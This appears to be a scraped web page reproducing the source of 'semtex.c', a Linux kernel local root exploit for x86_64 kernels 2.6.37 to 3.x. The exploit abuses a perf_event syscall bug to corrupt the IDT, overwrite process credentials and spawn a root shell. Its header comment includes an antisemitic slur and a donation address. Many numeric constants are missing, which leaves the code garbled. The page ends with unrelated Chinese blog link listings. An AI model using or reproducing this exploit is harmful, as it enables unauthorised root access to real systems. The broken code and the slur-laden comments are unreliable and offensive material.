/*
* linux 2.6.37-3.x.x x86_64, ~100 LOC
* gcc-4.6 -O2 semtex.c && ./a.out
* 2010 sd@fucksheep.org, salut!
*
* update may 2013:
* seems like centos 2.6.32 backported the perf bug, lol.
* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
*/ #define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h> #define BASE 0x380000000
#define SIZE 0x010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337)))) void fuck() {
int i,j,k;
uint64_t uids[] = { AB(), AB(), AB(), AB() };
uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-));
uint64_t kbase = ((uint64_t)current)>>;
uint32_t *fixptr = (void*) AB();
*fixptr = -; for (i=; i<; i+=) {
uint64_t *p = (void *)&current[i];
uint32_t *t = (void*) p[];
if ((p[] != p[]) || ((p[]>>) != kbase)) continue;
for (j=; j<; j++) { for (k = ; k < ; k++)
if (((uint32_t*)uids)[k] != t[j+k]) goto next;
for (i = ; i < ; i++) t[j+i] = ;
for (i = ; i < ; i++) t[j++i] = -;
return;
next:; }
}
} void sheep(uint32_t off) {
uint64_t buf[] = { 0x4800000001,off,,,,0x300 };
int fd = syscall(, buf, , -, -, );
assert(!close(fd));
} int main() {
uint64_t u,g,needle, kbase, *p; uint8_t *code;
uint32_t *map, j = ;
int i;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
assert((map = mmap((void*)BASE, SIZE, , 0x32, ,)) == (void*)BASE);
memset(map, , SIZE);
sheep(-); sheep(-);
for (i = ; i < SIZE/; i++) if (map[i]) {
assert(map[i+]);
break;
}
assert(i<SIZE/);
asm ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
u = getuid(); g = getgid();
assert((code = (void*)mmap((void*)kbase, KSIZE, , 0x32, , )) == (void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-; memcpy(code, &fuck, );
memcpy(code-,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % );
setresuid(u,u,u); setresgid(g,g,g);
while (j--) {
needle = AB(j+);
assert(p = memmem(code, , &needle, ));
if (!p) continue;
*p = j?((g<<)|u):(idt.addr + 0x48);
}
sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/) + );
asm("int $0x4"); assert(!setuid());
return execl("/bin/bash", "-sh", NULL);
}

linux 2.6.37-3.x.x x86_64的更多相关文章

  1. 每天一个linux命令(37):date命令

    在linux环境中,不管是编程还是其他维护,时间是必不可少的,也经常会用到时间的运算,熟练运用date命令来表示自己想要表示的时间,肯定可以给自己的工作带来诸多方便. 1.命令格式: date [参数 ...

  2. vbox下安装 linux 64 bit出现“kernel requires an x86_64 cpu

        今天在vbox下安装linux 64bit出现"kernel requires an x86_64 cpu, but only detected "的错误,网上有很多文章介 ...

  3. 【转】每天一个linux命令(37):date命令

    原文网址:http://www.cnblogs.com/peida/archive/2012/12/13/2815687.html 在linux环境中,不管是编程还是其他维护,时间是必不可少的,也经常 ...

  4. 每天一个linux命令(37):free 命令

    free命令可以显示Linux系统中空闲的.已用的物理内存及swap内存,及被内核使用的buffer.在Linux系统监控的工具中,free命令是最经常使用的命令之一. 1.命令格式: free [参 ...

  5. tenda u1 usb wireless device install driver for kali linux kernal Debian 4.3.3-7kali2 (2016-01-27) x86_64 GNU/Linux

    因为内核比较新的关系,tenda官方网站上面提供给u1无线网卡的驱动并不能正常编译使用,编译的时候报一个类似错误 /usr/src/linux-headers--kali1-common/Makefi ...

  6. linux每日命令(37):top命令

    top命令是Linux下常用的性能分析工具,能够实时显示系统中各个进程的资源占用状况,类似于Windows的任务管理器.下面详细介绍它的使用方法.top是一个动态显示过程,即可以通过用户按键来不断刷新 ...

  7. linux 下安装mysql-5.7.12-1.el6.x86_64.rpm-bundle.tar

    -rw-rw-r--. hadoop hadoop Nov : mysql--.el6.x86_64.rpm-bundle.tar tar -xvf mysql-5.7.12-1.el6.x86_64 ...

  8. 《Linux命令行与shell脚本编程大全 第3版》Linux命令行---37

    以下为阅读<Linux命令行与shell脚本编程大全 第3版>的读书笔记,为了方便记录,特地与书的内容保持同步,特意做成一节一次随笔,特记录如下:

  9. 每天一个Linux命令(37)kill命令

          Linux中的kill命令用来终止指定的进程(terminate a process)的运行. kill可将指定的信息送至程序.预设的信息为SIGTERM(15),可将指定程序终止.   ...

  10. 『学了就忘』Linux基础命令 — 37、Linux中挂载操作的相关命令

    目录 1.mount命令介绍 (1)mount命令说明 (2)mount命令格式 2.mount命令示例 3.mount -a命令说明 4.-o特殊选项说明 5.exec/noexec选项说明 挂载就 ...

随机推荐

  1. global-local-static-object

    [本文链接] http://www.cnblogs.com/hellogiser/p/global-local-static-object.html [分析] 1.生命周期问题:static变量在固定 ...

  2. BestCoder17 1001.Chessboard(hdu 5100) 解题报告

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=5100 题目意思:有一个 n * n 的棋盘,需要用 k * 1 的瓷砖去覆盖,问最大覆盖面积是多少. ...

  3. linux_command_撷叏命令: cut, grep

    [root@www ~]# cut -d'分隑字符' -f fields <==用亍有特定分隑字符[root@www ~]# cut -c 字符区间<==用亍排列整齐癿讯息选项不参数:-d ...

  4. C++里的静态成员函数不能用const的原因

    From http://blog.csdn.net/freeboy1015/article/details/7634950     static在c++中的第五种含义:用static修饰不访问非静态数 ...

  5. 今天装了一个RTI工具

    就是一个协议,需要在本机运行,今天天气有变,还要陈到家里来安装光纤宽带,昨天晚上家里下了一场雷电交加的大雨,电停了一会

  6. poj 3281 最大流+建图

    很巧妙的思想 转自:http://www.cnblogs.com/kuangbin/archive/2012/08/21/2649850.html 本题能够想到用最大流做,那真的是太绝了.建模的方法很 ...

  7. FFmpeg源代码结构图

    转自:http://blog.csdn.net/leixiaohua1020/article/details/44220151 FFmpeg的库函数源代码分析文章列表: [架构图] FFmpeg源代码 ...

  8. webpack入门--前端必备

    webpack入门--前端必备 什么是 webpack? webpack是一款模块加载器兼打包工具,它能把各种资源,例如JS(含JSX).coffee.样式(含less/sass).图片等都作为模块来 ...

  9. C++ 学习的网站

    C++入门教程:  http://see.xidian.edu.cn/cpp/biancheng/cpp/rumen/

  10. 贪心 Codeforces Round #301 (Div. 2) B. School Marks

    题目传送门 /* 贪心:首先要注意,y是中位数的要求:先把其他的都设置为1,那么最多有(n-1)/2个比y小的,cnt记录比y小的个数 num1是输出的1的个数,numy是除此之外的数都为y,此时的n ...